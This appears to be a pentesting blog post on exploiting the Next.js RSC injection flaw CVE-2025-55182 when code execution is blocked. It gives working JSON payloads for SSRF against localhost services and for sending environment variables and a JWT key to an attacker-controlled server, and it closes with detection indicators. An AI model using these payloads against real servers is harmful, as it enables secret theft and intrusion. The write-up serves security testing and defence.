(Not)React2Shell - Alternative payloads for RSC injection
Introduction
During a recent engagement, we were tasked with conducting an external penetration test with the objective of attempting to gain access to the client's internal network using the full extent of their online attack surface. To our surprise, it seemed like they had a few assets that were using vulnerable Next.js versions to the recently disclosed React2Shell vulnerability, but we couldn't manage to exploit the RCE straight away...
This blog post covers alternative techniques for the successful exploitation of the RSC injection component of the React2Shell vulnerability (CVE-2025-55182), in an attempt to make something of scenarios where RCE is not possible.
This post does not discuss alternative RCE payloads for the React2Shell vulnerability, but rather alternative ways to maximize impact when the vulnerability exists but RCE is off the table.
RSC -> RCE
React2Shell (CVE-2025-55182) is fundamentally a React Server Component (RSC) injection issue: the attacker gains influence over how the Next.js server interprets and deserializes incoming React Server Component payloads.
In a fully exploitable scenario, this primitive can sometimes be escalated into remote code execution (RCE), because the attacker is able to reach dangerous evaluation paths such as:
-
Function(...)
-
constructor.constructor
-
Server-side action resolution logic
-
Unsafe object prototype manipulation
Why RCE fails in prod
Below are some reasons why RCE might fail in production environments vulnerable to React2Shell:
- Counter-measures provided by platform provider (e.g. Vercel)
- Edge Runtime is used, meaning no default access to Node.js-only APIs, no access to OS-level command execution, and no access to the file system.
- Fewer gadgets available in the production build.
- Hardened / sandboxed deployments that restrict access to process or require
In practice, many public PoCs assume that once you control the RSC stream, RCE is automatic. However, in the wild, deployments might not be that simple.
That being said, not being able to execute commands in the server doesn't mean the environment is safe, an attacker could still:
- Execute server-side JS expressions
- Influence the way components get resolved
- Exfiltrate sensitive runtime data
The remainder of this post focuses on exactly those techniques: making the most out of React2Shell scenarios where RCE is off the table, but exploitation certainly is not.
Alternative techniques
All techniques showcased have been tested in a development environment using the 'Edge Runtime' in order to easily disable arbitrary code execution. Exploitation may or may not differ in production.
Payloads are shown for educational and defensive testing purposes; real-world exploitation should only be performed with explicit authorization.
Scenario set-up
For the lab scenario used for research during the creation of this blog post, we proposed an easy to enable and relatively common configuration for Next.js servers used in the wild.
Said configuration is the Edge Runtime, which differs from the Node.js Runtime (default) in that it lacks support for many of the Node.js APIs, and thus a webapp that uses this runtime is not directly vulnerable to RCE even if it is vulnerable to the React2Shell vulnerability. The available APIs for the Edge Runtime are listed here.
The Edge Runtime is designed to be oriented towards serverless environments, and although Vercel recommends 'migrating from Edge to Node.js for improved performance and reliability', it's actually not that rare to see. The Edge Runtime enforces heavy restrictions on certain objects like process. However, during the lab setup for this blog post, we were able to successfully exfiltrate environment variables using process.env from an Edge Runtime (explored below). This behaviour may or may not be deployment-dependent.
Regardless of the runtime, the payloads disclosed below could be used in contexts where access to the filesystem or to execSync have been restricted.
Date.now() (PoC)
For starters, a quick payload to check for RSC injection is the following:
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "var res=Date.now().toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}This should return an x-action-redirect header containing the date, and should pretty much work in any context where this vulnerability exists, since the Date.now() is included in every JavaScript runtime.
SSRF
Using the 'fetch' function server-side, an attacker may be able to leverage the vulnerability to gain SSRF. This could be used to enumerate ports and other live hosts in the same network the server is in, as well as probing services that are bound to the loopback interface (127.0.0.1), facilitating the process of mapping the attack surface from the server's perspective.
In the lab used for this post, we set-up a sample admin panel bound to localhost:8000. The following payload shows how the vulnerability could be leveraged to fetch this admin panel and provide an attacker with a response.
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "fetch('http://127.0.0.1:8000/').then(r=>fetch('ATTACKER_CONTROLLED_SERVER',{method:'POST',body:r.body}));throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/;307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}Burp Collaborator shows you can exfiltrate the source code, and you can therefore copy-paste it to an HTML file and view it:
Successful exfiltration of the internal login page (bound to 127.0.0.1)
Goes without saying, this vulnerability could be exploited further to:
- Fuzz the internal login page for directories / parameters.
- Pivot into internal-only services
.env disclosure
Lastly and most importantly, it could be possible in certain installations (where process is not restricted) to reveal environment variables. To get started, you could try to reveal the NODE_ENV variable (process.env.NODE_ENV) to ensure this technique works.
The payload showcased in this section can be tampered with to reveal potentially any environment variable being used, potentially exposing:
- JWT tokens
- Other third party tokens (e.g. mail providers)
- Database connection URIs exposing credentials
Assuming the environment variable containing the JWT key is simply called JWT_KEY, the following payload can be used:
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "var res=process.env.JWT_KEY.toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}Thus revealing the key that can be used to potentially forge any JWT token, which could lead to compromise of the authentication mechanism in the web application.
process.env.JWT_KEY revealed
Furthermore, depending on the deployment, it might be possible to leak the entire process.env object to an attacker-controlled server, exposing all environment variables:
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "fetch('ATTACKER_CONTROLLED_SERVER',{method:'POST',body:JSON.stringify(process.env)});throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/;307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}
Successful leak of the process.env object
Detection
Bad OpSec
Sloppy exploitation of RSC injection leaves obvious traces. Some common mistakes:
- Request flooding
Repeatedly sending RSC payloads.
- Predictable exfiltration paths
The use of /exploit?out=exfil_data is extremely frequent in public PoCs.
Indicators of Compromise
- Server errors and anomalous status codes
An unusual amount of HTTP 500 or redirects might indicate an attacker is actively exploiting the vulnerability.
- Unusual outbound requests
May be the result of SSRF attempts.
- Raw value of environment variables appearing in logs
An attacker may have successfully coerced the server into leaking an environment variable.
Conclusion
Even without RCE, RSC injection could enable pivoting, secrets disclosure, and internal enumeration, making React2Shell a serious issue even in constrained runtimes and/or restricted scenarios.
